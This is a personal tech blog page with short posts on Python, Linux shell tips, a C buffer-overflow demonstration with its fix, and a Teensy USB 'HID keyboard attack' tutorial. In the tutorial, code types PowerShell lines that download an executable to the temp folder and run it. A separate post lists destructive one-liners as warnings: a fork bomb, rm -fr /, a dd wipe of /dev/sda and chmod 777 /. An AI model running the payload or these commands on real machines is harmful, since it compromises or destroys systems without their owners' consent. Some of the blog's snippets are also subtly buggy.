Arduino (1) Bugs (3) C (1) Install (3) Linux (25) Maths (1) Python (11) Raspberry Pi (4)

Wednesday, 15 March 2017

Python Quadratic Formula

A equation with the form ax^2+bx+c=0 is known as a quadratic equation. When plotted on a graph it will take the general shape of the graph seen below. The points at which the quadratic graph crosses the x-axis are known as the solutions of the quadratic equation.

For this example the quadratic crosses the x-axis when x=3 and when x=-1.

The quadratic formula is used to find the values that satisfy the equation.
Quadratic Formula

I wrote a python script which can find the solutions of these quadratics by using the quadratic formula.

import math
print "ax^2+bx+c=0"

a = float(raw_input("Please enter the value of a: "))
b = float(raw_input("Please enter the value of b: "))
c = float(raw_input("Please enter the value of c: "))

  x1 = (-b + math.pow((math.pow(b,2)-(4*a*c)),0.5)) / 2*a
  x2 = (-b - math.pow((math.pow(b,2)-(4*a*c)),0.5)) / 2*a
except ValueError:
  print "No real solutions"

print  "X solutions: ", x1, ",",x2

The Quadratic formula has been wrapped in a try statement to prevent the program from crashing if a quadratic equation with no real solutions is entered. This would cause a crash as you would be trying to find the square root of a negative number which is not possible.

Wednesday, 22 February 2017

Check root at start of script

Some scripts need to be run as root and you may want to check at the start of that script that it is running as root. This can be done by checking the environment variable $EUID. This variable will hold the value 0 if it's being run as root.

if [ "$EUID" -ne 0 ];then
echo "Please run this script as root"
exit 1

Tuesday, 20 December 2016

HID keyboard attacks on Windows with a Teensy 3.1

The Teensy 3.1 is a small USB development board similar to Arduino and can be programmed using the Arduino ide. The Teensy board has the ability to act as a USB HID device like a keyboard or mouse and this is what allows us to exploit most computers as most computers have no security when it comes to keyboards or mice.

Things we will be doing:
  • Install the Arduino ide
  • Install the Teensy libraries
  • Setting up the Teensy
  • Programming the Teensy to run code on the test PC

Installing the Arduino ide:
Download the version of Arduino you need whether it be Linux or Windows.
Download the windows installer and run the .exe file. The setup should be relatively easy to follow.

Download the Arduino archive.
To extract the archive use the command:
tar xf filename.tar.xz

Then run the script using the command:
sudo sh
Make sure you note down where you install Arduino as we need this is the next step.

Installing the Teensy libraries:
Download the version of teensyduino that you need whether it be Linux or Windows.
Download the udev rules file if you are on linux.
To add the udev rules run the command:
sudo cp 49-teensy.rules /etc/udev/rules.d/
Now run the executable that we downloaded before and follow the steps.

Setting up the Teensy:
We need to set the Arduino IDE board to Teensy 3.1/3.2. This can be done by going to tools, board, Teensy 3.1/3.2. We also need to change the USB type to Keyboard. This can be done by going to tools, USB Type, Keyboard.

Programming the Teensy:
Go and check out the documentation provided by pjrc here for emulating a keyboard with the Teensy.

Before we actually start programming the Teensy we need to plan out what we will be doing.
  1. Open powershell
  2. Download and run the executable
  3. Close the window
Step 1(Open powershell):
We need to open powershell which can be done by pressing the keys:
Note that we will need delays within this code so you may have to play around with the size of these as a slow computer will need a longer delay.
int smalldelay = 500;
int largedelay = 5000;
void setup() {} //So far no setup is needed
void send_keys(){ //Reduce repitition in code
    Keyboard.send_now();  //Send current keys
    Keyboard.set_modifier(0);  //Set modifier to no key
    Keyboard.set_key1(0);  //Set key1 to no key
    Keyboard.set_key2(0);  //Set key2 to no key
    Keyboard.send_now();   //Send the blank keys
void press_enter(){ //Reduce repititon in code
    Keyboard.set_key1(KEY_ENTER);  //Set key to enter key
    send_keys();  //Call send_keys function to send the key then clear
void loop() { 
    delay(10000); //Delay for 10 seconds for time to upload code
    Keyboard.set_modifier(MODIFIERKEY_GUI);  //Set modifier to the windows key
    Keyboard.set_key1(KEY_R);  //Set key1 to the key "r"
    send_keys();  //Call send_keys function
    delay(smalldelay);  //Delay to allow windows run box to open
    Keyboard.print("powershell");  //Type the line "powershell"
    press_enter();  //Call press_enter function to press the enter key
    delay(largedelay);  //Delay to allow powershell to open
    Keyboard.print("dir");  //Type "dir" to the powershell
    press_enter();  //Call the press_enter function to press the enter key
    delay(50000);  //Delay for 50 seconds before looping again

This code will powershell and run the command dir(We can remove this later as its only used
as an example).
Note the 10 second delay at the start of the loop is needed otherwise the Teensy will
start to overwrite your code when plugged in.

Step 2 and 3:
To download the executable that we will be running we need to run the following powershell commands:
$client = new-object System.Net.WebClient
start $env:Temp\a.exe

We need to add the following lines of code after the last enter press
Keyboard.print("$client = New-Object System.Net.WebClient");
\"$env:TEMP\\a.exe\") ; start $env:TEMP\\a.exe ; exit");
This will now download a file from wherever you point it at and run the file, it then closes the window.
Note the backslashed before the double quotes is to prevent them from closing the string.

You will most likely have to change the delays within the code as some systems can take a fair amount of time to open powershell which is one of the limitations of the attack.

Tuesday, 13 December 2016

How to send emails in Python

We are going to be using the yagmail library to send a email using python.

To start of we will need to install the yagmail python library.
pip install yagmail

If you don't have pip installed you can install using the following commands depending on your OS.

Debian systems:
sudo apt-get install python-pip

sudo yum upgrade python-setuptools
sudo yum install python-pip python-wheel

Arch Linux:
sudo pacman -s python2-pip

sudo zypper install python-pip python-setuptools python-wheel

Now we will test that the library has been installed with a simple python script.

import yagmail

Run this script and if it produces no errors you are good to go.

Now we can get started sending emails.

First we need to import the necessary libraries(yagmail, time).
import yagmail
import time

Now lets setup the variables that are going to be sent in the email
subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"

Now lets send the email
yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)

Putting all of that together we get:
import yagmail
import time

subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"

yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)

If we run this script you should have a sent a email using less than 10 lines of python.

Link to yagmail GitHub

Saturday, 10 December 2016

Buffer Overflow Variable writing in C

Buffer overflows usually stem from code that has been badly written and not included the necessary checks to prevent them.

Vulnerable code:
int main(){
        char buffer[5];
        char a[2];
        char b[2];
        printf("Enter a string: ");
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
To compile this code use this command
gcc bufferOverflow.c -fno-stack-protector
Now lets try inputting 5 characters:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
At the moment it is running well without any errors and not overflowing into the variables a and b, this is because we are not exceeding the size of the buffbuffer overflower.

Lets increase it to 6:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
a and b are still empty.

After some trial and error I managed to write into the variable b using 15 characters.
Enter a string: aaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaa
Contents of a:
Contents of b:a
Using 16 characters I have managed to indirectly write into the memory which holds the values of a and b.

If you input more characters at some point you will cause a segmentation fault as the program is trying to access memory that it doesn't have access to.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of a:a
Contents of b:a
Segmentation fault (core dumped)
To fix the code we need to change the gets function to fgets.
int main(){
        char buffer[5];
        char a;
        char b;
        printf("Enter a string: ");
        fgets(buffer, sizeof(buffer), stdin);
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
Now no matter what we enter to the program it will never write more characters than the size of the buffer to the buffer.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaa
Contents of a:
Contents of b:
Only 4 characters are printed as fgets includes the newline character at the end of the input.

Friday, 9 December 2016

Shrink a PDF on linux

You can shrink a pdf using this command:

ps2pdf -dPDFSETTINGS=/"OPTION" BiggerPdf.pdf SmallerPDF.pdf

To change the amount of compression change "Option" to:
screen - Low quality
ebook - Med quality
printer - High quality

Monday, 5 December 2016

Creating a excutable shell script

When writing shell scripts you can use .sh file extension and run using the sh command.

You can make your shell script executable and run using ./

To make it like this we need to do 2 things:
Change the file permissions
Define the interpreter/shell we will be using in the script.

Changing the file permissions:
Run the command:
chmod 0755
This will allow all users to run the script

To only allow the current user to run the script run:
chmod 0700

Defining the shell within the script:
Add the following line to the start of the script
Depending on which one you are using.

Now you can run your script by typing

Monday, 19 September 2016

5 commands you should NOT run.

If you do want to test them out you can check out this tutorial on installing vmware and run them inside a VM just for fun.

A list from this reddit post for people to post the most dangerous/annoying commands they can come up with.

The Classic Fork bomb:
Posted by cuba200611
This line crashes your system as it uses up all the resources. It works by creating a function which calls its self twice and has no way of terminating it's self. This quickly uses up all the resources and crashes your PC.

:(){ :|: & };:

Delete your whole hard drive:
This line deletes everything from the hard-drive when run as root.

rm -fr /

Break your CD drive:
This line constantly ejects your CD drive not allowing it to shut.
Posted by wee0x1b

while true; do eject; done

Overwrite you hard drive:
This line writes zeros to your hard drive
Posted by Celtore

dd if=/dev/zero of=/dev/sda

Chmod killer:
Posted by: therancor91
Explanation from gigolo_daniel:
For those wondering why this breaks your entire system giving you execution permission errors everywhere while prima facie it merely seems to add permissions, the primary reason is that it removes setuid and setgid bits on executables if you change permissions like that. These mode bits when an executable is ran run it under the permission of the owning user and owning group respectively, not the user who executes it. This is typically used with a lot of executables to allow a temporary elevation of privileges which is needed for a surprisingly large number of operations.

You can no longer normally become root after you done this because both sudo and su use the setuid bit to enable a login as root.

chmod 777 /

All of these commands show the true power of a one line command which could destroy your system, be careful when copying commands.

Saturday, 17 September 2016

Simulating your mouse

Sometimes you just want to automate tasks but the program only has a GUI. Simulating mouse clicks can make this job a lot easier and this is were xdotool comes in.

Installing xdotool:

Debian systems:

sudo apt-get install xdotool


sudo yum install xdotool

Arch linux:

sudo pacman -S xdotool

Simulating mouse movements and clicks

Left click

xdotool click 1

Right click

xdotool click 2

Mouse move

xdotool XXX YYY (XXX,YYY Being the coordinates)

A basic example where this can be used is a online dogeminer click game.

#Simple Auto clicker
while [ 1 ];do
  xdotool mousemove XXX YYY click 1
  sleep 5

Friday, 1 July 2016

Python3:Lesson 3 If statments

If you are new to python you can check out my other lessons to get up to speed.
  1. Lesson 1
  2. Lesson 2
An If statement is used to decision in the program depending on different variables, it allows selection to take place.

First off lets get some input from the user that we can use in the if statement. I will do it in the context of test grades.
score = int(input("Please enter your score out of 100: "))

We now have the user score stored in the variable "score" as an integer.

Now lets look at the operators for a if statement.
  • == Is used for equal to.
  • <= Is used for less than or equal to.
  • >= Is used for greater than or equal to.
  • != Is used for not equal to.
  • and can be used for 2 comparisions.
We now need to create our if/elif statement.
if ( score >= 90 ):
elif ( score >= 80 and score < 90 ):
elif ( score >= 70 and score < 80 ):
elif ( score < 70 ):

Now if we run this code with the score as 85 it should print out a "B" to the screen.